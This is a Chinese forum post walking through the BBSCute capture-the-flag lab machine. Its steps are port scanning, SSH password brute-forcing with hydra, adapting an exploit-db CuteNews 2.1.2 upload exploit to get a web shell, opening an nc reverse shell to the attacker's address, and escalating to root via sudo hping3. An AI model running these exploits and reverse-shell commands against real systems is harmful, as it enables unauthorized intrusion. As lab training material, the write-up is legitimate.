OSCP靶场系列-Esay-BBSCute

杳若   ·   发表于 2023-07-23 01:26:37   ·   CTF&WP专版

Esay_BBSCute

总结

getwebshell → 目录扫描发现新端点 → 指纹探测发现CMS → 查看文章发现版本信息 → MSF → 调配修改获得shell

getshell → sudo发现hping3 → 利用hping3提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.176

  • 启动靶机
  • 获取目标机器IP > 192.168.190.128

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
    1. sudo nmap --min-rate 10000 -p- 192.168.190.128

>[!通过各两次扫描收集到端口 ]
>22,80,88,110,995

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80,88,110,995 192.168.190.128

信息收集-端口测试

  • 22-open-openssh 7.9p1
  • 80-open-http
  • 88-open-http
  • 110-open-pop3
  • 995-open-ssl/pop3
    总体来看,突破口在80端口以及88端口

    22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用

  1. # 进入msf
  2. msfcontrol
  3. # 探测版本为OpenSSH 7.9p1 搜索对应脚本
  4. msf6 > searchsploit openssh 7.9

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

  1. ssh root@192.168.190.128</span> ssh -p22
  2. # 密码尝试
  3. password &gt; root

22-SSH弱口令爆破(慢慢跑)

尝试root账户的密码爆破,利用工具hydra,线程-t为6
<mark style="#FFB8EBA6">慢慢跑吧,不指望</mark>

  1. hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.128 ssh -s 22

80-HTTP端口的信息收集

http://192.168.190.128:80


通常遇到这样的网站之后我们直接从收集源码开始

信息收集-源码查看(无)

  1. curl http://192.168.190.128:80

整体翻阅了一下,无泄露信息

信息收集-基础目录扫描

  1. dirsearch -u http://192.168.190.128:80 -x 302,403

发现内容之后,我们先不考虑上大字典

信息收集-dirsearch深层目录扫描(待定)

信息收集-端点访问

寻找可用端点

/example.php端点

/manual/en/index.html端点

/print.php端点

/rss.php端点

/search.php端点

/index.php端点

信息收集-指纹识别

通过端点访问,首先选取最感兴趣的进行探索(登录功能点)

  1. ┌──(rootKali)-[/home/bachang/BBSCute]
  2. └─# whatweb http://192.168.190.128:80/index.php
  3. http://192.168.190.128:80/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.190.128], JQuery, PasswordField[password], Script[text/javascript], Title[Please Login / CuteNews], UncommonHeaders[accept-charset], X-Frame-Options[sameorigin], X-UA-Compatible[IE=edge]

获取了CMS的指纹CuteNews,如果知道版本就可用msf精准打击

信息收集-源码查看

  1. # 利用html2text转换纯文本方便查看
  2. curl http://192.168.190.128:80/index.php | html2text

查看之后获取到了新的信息CuteNews的版本为2.1.2

88-HTTP端口的信息收集

什么!?还要收集吗? 80端口都getwebshell啦?

漏洞利用-getwebshell

漏洞利用-msf网站指纹(尝试)

  1. # 首先进入msf终端
  2. msfconsole
  3. # 搜索对应的漏洞是否存在
  4. msf6 &gt; searchsploit cutenews 2.1.2

可以思考的是第一个、第三个、第四个。第二个文件删除不能直接getwebshell
其中第三个文件上传相对要复杂一些
第一个可能有前置条件,保险一些先试试第四个?

  1. # 如果想查看msf对应的内容
  2. cat /usr/share/exploitdb/exploits/php/webapps/48800.py

细细翻阅一下


大致了解了脚本的情况,运行了之后让我们输入IP,之后就会根据代码逻辑获得cmdshell

一般获取脚本之后我们就清楚需要是否需要修改shell以及输入内容等

  1. # 尝试运行,发现没运行成功捏
  2. python3 /usr/share/exploitdb/exploits/php/webapps/48800.py
  3. [-&gt;] Usage python3 expoit.py
  4. Enter the URL&gt; http://192.168.190.128:80
  5. ================================================================
  6. Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
  7. ================================================================
  8. [-] No hashes were found skipping!!!
  9. ================================================================
  10. =============================
  11. Registering a users
  12. =============================


运行没成功说明可能其他地方还需要修改或者该exp不适用
首先进行url的排查

  1. cat /usr/share/exploitdb/exploits/php/webapps/48800.py

查看了一下,发现expurl是加了/CuteNews端点,和我们现在不符,进行删除

  1. # cp到本地一份方便修改(这是好习惯)
  2. ┌──(rootKali)-[/home/bachang/BBSCute]
  3. └─# cp /usr/share/exploitdb/exploits/php/webapps/48800.py .
  4. # 查询有几处
  5. ┌──(rootKali)-[/home/bachang/BBSCute]
  6. └─# grep CuteNews 48800.py
  7. url = f"{ip}/CuteNews/cdata/users/lines"
  8. register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
  9. token = sess.get(f"{ip}/CuteNews/index.php?mod=main&amp;opt=personal").text
  10. payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text
  11. output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
  12. # 修改了5处地方
  13. ┌──(rootKali)-[/home/bachang/BBSCute]
  14. └─# vim 48800.py
  15. # 再次查看已经没有了
  16. ┌──(kalikali)-[~]
  17. └─$ grep CuteNews 48800.py
  18. # 尝试运行
  19. python 48800.py

运行成功,获取了cmdshell

  1. # ps 翻阅了一下不用苦逼的vim修改,利用sed 将所有的 “CuteNews/” 替换为空字符串
  2. sed -i 's:CuteNews/::g' 48800.py
  3. # 查看一下权限
  4. command &gt; id
  5. uid=33(www-data) gid=33(www-data) groups=33(www-data)

内网遨游-getshell

发现hydra还没爆破出来,关了关了

获取交互shell

现在我们的shell是利用pythonexp获取的,我们获取本地的shell会更好
利用反弹shell弹到本地

反弹shell-nc

  1. # 攻击机先开启监听
  2. nc -lvvp 4444
  1. # 目标主机nc反弹shell
  2. nc -e /bin/bash 192.168.45.176 4444

交互shell-python

由于反弹获取的shell交互不友好,利用python获得新的交互shell

  1. # 利用python获取交互shell -&gt; python失败使用python3
  2. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data<span>@cute</span>:/var/www/html/uploads$ find / -name local.txt 2&gt;/dev/null
  2. find / -name local.txt 2&gt;/dev/null
  3. /var/www/local.txt
  4. www-data<span>@cute</span>:/var/www/html/uploads$ cat /var/www/local.txt
  5. cat /var/www/local.txt
  6. *****************************

权限提升

访问 https://gtfobins.github.io 寻找

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找
  2. www-data<span>@cute</span>:/var/www/html/uploads$ sudo -l
  3. sudo -l
  4. Matching Defaults entries for www-data on cute:
  5. env_reset, mail_badpass,
  6. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
  7. User www-data may run the following commands on cute:
  8. (root) NOPASSWD: /usr/sbin/hping3 --icmp

发现hping3存在sudo权限


如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. www-data<span>@cute</span>:/var/www/html/uploads$ hping3
  2. hping3&gt; /bin/sh -p
  3. # whoami
  4. root

成功提权

FLAG2

  1. # cat /root/proof.txt
  2. *************************

结束撒花~谢谢观看~~

用户名金币积分时间理由
Track-魔方 1400.00 0 2023-07-25 13:01:36 平台唯一 500 深度 200 普适 400 可读 200 稀缺 100

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-23 | 486 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.